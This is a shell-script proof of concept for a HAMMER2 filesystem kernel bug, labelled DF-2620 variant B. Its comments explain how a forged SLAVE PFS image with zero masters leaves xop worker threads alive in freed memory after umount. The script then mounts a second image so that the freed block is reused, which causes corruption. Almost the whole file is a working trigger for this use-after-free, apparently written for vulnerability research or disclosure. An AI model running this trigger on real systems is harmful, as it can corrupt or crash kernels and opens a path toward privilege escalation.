#!/bin/sh
# DF-2620 variant B trigger: forged PFS "testvol" with
#   meta.pfs_type = 0x03 (SLAVE), meta.pfs_nmasters = 0
# -> single chain, zero visible masters -> pmp->pfs_nmasters stays 0
# -> umount: hammer2_xop_helper_cleanup() loop body executes ZERO times,
#    kfree(xop_groups) runs IMMEDIATELY, while all 36 xop worker threads
#    created at mount time (hammer2_mount_helper -> xop_helper_create)
#    are still alive INSIDE the freed array.  Their sync/teardown in
#    hammer2_pfsdealloc/pfsfree is skipped because pmp->xop_groups is
#    already NULL (admin.c:452-456 / vfsops.c:655-661).
#
# Demonstration:
#  1. mount forged image (SLAVE, ro)
#  2. ls works (nquorum = 0/2+1 = 1, single chain satisfies it)
#  3. umount succeeds -> xop_groups freed with live workers
#  4. ps still shows h2xop-testvol.* threads (zombies on freed memory)
#  5. mount another hammer2 image -> allocator reuses the freed 18KB
#     block for the new xop_groups -> zombie workers poll the reused
#     memory every second (thr_wait_any hz timeout) -> corruption
vnconfig -u vn0 2>/dev/null || true
vnconfig -u vn1 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2620/B.img
vnconfig -c vn1 /root/poc/df2620/base.img
mkdir -p /mnt/h2 /mnt/h2b

echo "=== 1. mount forged SLAVE pfs (pfs_nmasters=0) ==="
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?

echo "=== 2. fs is fully usable (no quorum problem) ==="
ls -la /mnt/h2
echo LS_RC=$?
ps axlw | grep -c "h2xop-testvol"

echo "=== 3. umount -> kfree(xop_groups) with live workers inside ==="
umount /mnt/h2
echo UMOUNT_RC=$?

echo "=== 4. workers still alive on freed memory ==="
sleep 2
ps axlw | grep -c "h2xop-testvol"

echo "=== 5. reclaim freed memory with a new hammer2 mount ==="
mount -t hammer2 -o ro /dev/vn1@testvol /mnt/h2b
echo MOUNT2_RC=$?
sleep 5
ps axlw | grep -c "h2xop-testvol"
echo TRIGGER_B_DONE
